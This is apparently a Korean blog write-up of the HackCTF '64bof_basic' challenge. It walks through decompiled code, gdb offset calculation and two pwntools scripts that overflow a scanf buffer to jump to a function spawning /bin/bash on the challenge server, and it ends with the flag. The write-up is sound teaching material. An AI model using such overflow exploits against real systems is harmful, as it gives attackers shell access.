[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 입력받아 Hello 문자열 뒤에 덧붙여 출력

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]@1
  int v5; // [rsp+11Ch] [rbp-4h]@1

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\\n", &s);
  return 0;
}
  • scanf 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생

 

IDA 분석 - callMeMaybe 함수

int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]@1
  const char *v2; // [rsp+8h] [rbp-18h]@1
  __int64 v3; // [rsp+10h] [rbp-10h]@1

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}
  • /bin/bash shell 실행
  • 해당 함수의 주소를 ret 부분에 덮어쓰면 exploit 될 것으로 보임

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x00000000004004e0  strlen@plt
0x00000000004004e8  printf@plt
0x00000000004004f0  __libc_start_main@plt
0x00000000004004f8  execve@plt
0x0000000000400500  __gmon_start__@plt
0x0000000000400508  __isoc99_scanf@plt
0x0000000000400510  _start
0x0000000000400540  deregister_tm_clones
0x0000000000400580  register_tm_clones
0x00000000004005c0  __do_global_dtors_aux
0x00000000004005e0  frame_dummy
0x0000000000400606  callMeMaybe
0x0000000000400641  main
0x00000000004006b0  __libc_csu_init
0x0000000000400720  __libc_csu_fini
0x0000000000400724  _fini
  • main 주소: 0x0000000000400641
  • callMeMaybe 주소: 0x0000000000400606

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400641 <+0>:	push   rbp
   0x0000000000400642 <+1>:	mov    rbp,rsp
   0x0000000000400645 <+4>:	sub    rsp,0x120
   0x000000000040064c <+11>:	mov    DWORD PTR [rbp-0x114],edi
   0x0000000000400652 <+17>:	mov    QWORD PTR [rbp-0x120],rsi
   0x0000000000400659 <+24>:	lea    rax,[rbp-0x110]
   0x0000000000400660 <+31>:	mov    rsi,rax
   0x0000000000400663 <+34>:	mov    edi,0x400741
   0x0000000000400668 <+39>:	mov    eax,0x0
   0x000000000040066d <+44>:	call   0x400508 <__isoc99_scanf@plt>
   0x0000000000400672 <+49>:	lea    rax,[rbp-0x110]
   0x0000000000400679 <+56>:	mov    rdi,rax
   0x000000000040067c <+59>:	call   0x4004e0 <strlen@plt>
   0x0000000000400681 <+64>:	mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400684 <+67>:	lea    rax,[rbp-0x110]
   0x000000000040068b <+74>:	mov    rsi,rax
   0x000000000040068e <+77>:	mov    edi,0x400744
   0x0000000000400693 <+82>:	mov    eax,0x0
   0x0000000000400698 <+87>:	call   0x4004e8 <printf@plt>
   0x000000000040069d <+92>:	mov    eax,0x0
   0x00000000004006a2 <+97>:	leave  
   0x00000000004006a3 <+98>:	ret    
End of assembler dump.
  • 사용자의 입력은 $rbp-0x110에 저장
  • ret까지의 offset은 buffer+sfp+ret으로 0x118일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
  • main+49에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0x7fffffffdd50에 저장

  • 0x7fffffffde60에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde60까지의 offset = 280(0x118)

 

문제 해결

💡dummy(280) + callMeMaybe_Address(0x0000000000400606)

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')

payload = "a"*280 + p64(e.symbols['callMeMaybe'])

p.sendline(payload)
p.interactive()

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')

payload = b"a"*280 + p64(e.symbols['callMeMaybe'])

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{64b17_b0f_15_51mpl3_700}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30

+ Recent posts